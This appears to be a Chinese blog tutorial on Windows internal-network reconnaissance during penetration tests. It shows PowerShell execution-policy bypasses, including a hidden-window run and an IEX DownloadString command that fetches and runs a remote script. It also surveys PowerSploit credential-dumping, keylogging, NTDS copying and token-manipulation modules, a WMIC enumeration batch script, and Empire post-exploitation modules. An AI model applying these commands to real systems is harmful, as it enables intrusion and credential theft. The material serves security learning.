原文链接:渗透测试内网渗透之信息收集(二)
0x01 前言
在内网渗透中,前期的信息收集是必不可少,获取主机的关键信息,往往会对后边的渗透做下很好的铺垫。上一篇记录相关的命令和信息收集的点,这一篇介绍一下在windows下信息收集时用的自动化脚本。
0x02 windows下的脚本执行
一般powershell都有默认的保护机制,无法直接执行ps文件,需要使用其他方法。
四种执行权限
- Restricted——默认的设置, 不允许任何script运行
- AllSigned——只能运行经过数字证书签名的script
- RemoteSigned——运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名
- Unrestricted——允许所有的script运行
默认是禁止脚本执行的,使用Get-ExecutionPolicy进行查看,使用Set-ExecutionPolicy命令修改。
如果想要绕过默认的策略可用以下方法:
- 本地权限绕过执行
- PowerShell-ExecutionPolicyBypass-Filexxx.ps1
- 本地隐藏权限绕过执行
- PowerShell.exe-ExecutionPolicyBypass-NoLogo-NonInteractive-NoProfile-WindowStyleHidden(隐藏窗口)-Filexxx.ps1
- IEX下载远程脚本绕过执行
- IEX(New-ObjectNet.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)
复制代码
常用参数: - -ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略
- -WindowStyle Hidden(-W Hidden):隐藏窗口
- -NonInteractive(-NonI):非交互模式,不为用户提供交互式提示
- NoProfile(-Nop):不加载当前用户配置文件
- -noexit:执行后不退出shell,使用键盘记录脚本非常重要
- -NoLogo:启动是不显示版权标致
0x03 powersploit
PowerSploit是一个在windows下的powershell脚本集,里面包含了信息收集,权限提升,权限维持等多种功能,这里主要介绍他的信息侦查模块recon和信息收集模块exfiltration 下载地址:
https://github.com/PowerShellMafia/PowerSploit PowerSploit-reconRecon-Get-ComputerDetails 通过日志获取信息
这个脚本用于从计算机中获取有用的信息。 主要获取信息如下: - 显式凭证登录(事件ID 4648)
- 登录事件(事件ID 4624)
- AppLocker日志,查找创建的进程
- 使用PowerShell日志来查找已经执行的PowerShell脚本
- RDP客户端保存服务器,这表明用户通常RDP在哪些服务器
本地加载该脚本,由于脚本并不是完整代码,只是定义了函数,所以需要载入。 1、.+空格+.\Get-ComputerDetails.ps1 2、import-Module .\Get-ComputerDetails.ps1 远程加载
- IEX(New-ObjectNet.WebClient).DownloadString(“http://127.0.0.1/Get-ComputerDetails.ps1”)
复制代码
执行结果如下:
这个脚本一些值的获取需要管理员权限,其次因为有些内容可能查不到所以会报错,
脚本主要用了以下几个命令:
Get-eventlog:获取本地计算机或远程计算机上事件日志或事件日志列表中的事件。
Get-WinEvent:从本地和远程计算机上的事件日志和事件跟踪日志文件中获取事件。
Get-ChildItem:获取一个或多个指定位置中的项和子项。位置可以是文件系统目录、注册中心或证书存储区。
Recon-Get-httpstatus 探测web目录
这个脚本主要用于探测web目录
同时在dictionaries目录里也提供了几个字典文件
示例:
- C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*}
- C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL
复制代码
Recon-Invoke-Portscan
端口扫描
相关参数有很多,建议阅读说明文档
Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 50
速度还是可以的
在使用这种有向外连接脚本的时候会触发火绒的联网控制,默认会阻止,下面是手动允许了。
Recon-Invoke-ReverseDnsLookup DNS侦查
反向DNS查询,扫描DNS PTR记录的IP地址范围。此脚本用于在进行授权渗透测试之前执行DNS侦察
运行结果如下,可以查找到主机名。
本文由“壹伴编辑器”提供技术支持
Recon-powerview
powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本
里面包含很多在域环境下信息收集的函数,详细函数作用及调用脚本
详情可以参考文档里面的readme文件
这里列举几个看着有点用函数:
Get-CachedRDPConnection——查询目标主机上保存的所有RDP连接项
Get-LastLoggedOn—返回目标主机的最后一个登录用户
关于域环境下相关的函数
当具体遇到哪个函数了,可以具体再去获取相关信息
本文由“壹伴编辑器”提供技术支持
powersploit-exfiltration
直接导入目录,Import-Module ./Exfiltration
发现其中三个文件被火绒直接报毒杀掉
一个是抓密码的mimikatz,
一个是ninjacopy(通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件。这绕过了文件DACL、读句柄锁和SACL锁。必须是管理员才能运行该脚本。
这可以用来读取通常被锁定的系统文件,比如NTDS.dit文件或注册表hives。)
另外一个是Invoke-CredentialInjection(这个脚本允许攻击者使用明文凭据创建登录,而不会触发ID 4648的可疑事件(显式凭据登录)
exfiltration-Get-GPPAutologn
在域控制器中搜索以查找autologon信息并返回用户名和密码。
exfiltration-Get-GPPPassword
在域控制器中搜索groups.xml, scheduledtasks.xml, services.xml和datasource .xml文件内容并返回明文密码。
exfiltration-Get-Keystrokes
键盘记录并输出
发现捕获不到键盘记录,原因未知
exfiltration-Get-MicrophoneAudio
利用Windows API从winmm.dll记录音频从麦克风和保存波文件到磁盘。
exfiltration-Get-TimedScreenshot
屏幕截图,可指定间隔时间和结束时间
exfiltration-Get-VaultCredential
凭证枚举,web凭据可明文
exfiltration-Invoke-CredentialInjection
登录注入,伪造登录
exfiltration-Invoke-Mimikatz
抓密码hash
exfiltration-Invoke-NinjaCopy
超级复制,用管理员启动后可以复制受保护的运行中的系统文件
exfiltration-Invoke-TokenManipulation
可以枚举可用的登录令牌,并使用它们创建新进程。这允许您使用
另一个用户通过使用他们的登录令牌创建一个进程来通过网络进行认证。
exfiltration-Out-Minidump
将包含所有进程内存的进程转储文件写入磁盘。emm看似进程转储
exfiltration-VolumeShadowCopy
包含下面几个函数
- Get-VolumeShadowCopy
- New-VolumeShadowCopy
- Mount-VolumeShadowCopy
- Remove-VolumeShadowCopy
复制代码 提供系统卷影拷贝删除等功能
0x04 自动化脚本
前面也介绍了相关wmic在信息收集时的相关命令,而wmic脚本仅仅就是将之前的命令整合起来做一个输出,可以根据自己的需求自己定制。
下面是网上的wmic bat脚本,复制黏贴到文件,保存成bat格式就能用。 简单解释一下 在批处理文件中的for循环
- for %%I in (command1) do command2
- /f //读取文件中的内容
- "delims=" //delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键
复制代码- for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
- wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
- wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
- wmic USERACCOUNT list full /format:"%var%" >> out.html
- wmic group list full /format:"%var%" >> out.html
- wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
- wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
- wmic netuse list full /format:"%var%" >> out.html
- wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
- wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
- wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
- wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
- wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
复制代码
执行后如下图:
0x05 Empire我们在获取一个shell以后,就可以使用empire中powershell的脚本,脚本有很多,这里还是只介绍一下有关信息收集的脚本使用
连接上后如下:
没连上前还有302个模块可用,连上后只有221个可以使用了。
大类分为 :
codeexecution(代码执行)、collection(采集)、credentials(凭据)、exfiltration(渗出)、lateralmovement(横向移动)、management(管理)、persistence(维持)、privesc(权限提升)、recon(侦查)、situational_awareness(态势感知)、troll sploit(分裂)
本文由“壹伴编辑器”提供技术支持
这上面大部分都是机译,后期会有专门的对后渗透所用的工具进行介绍,这里只做简单介绍。
使用situational_awareness模块,可以看到有以下部分,根据命名几乎都能判别其作用。
我们随便找一个端口扫描的进去看一下
发现其使用了powersploit相关模块,毕竟这款工具就是基于powershell进行开发的。
尝试使用以下arpscan模块,看一下需要什么参数,简单设置一下范围,直接使用execute执行
再试一下屏幕截屏,直接在agents下敲sc命令,会直接调用powershell/collection/screenshot模块,最后会存放于
/root/.local/powershell-empire/downloads/E8721H6C下,另外下面也会存在命令执行记录的一个log文件。
还有许多模块还没有尝试,后期会在工具篇中详细说明。另外,渗透真好玩。
|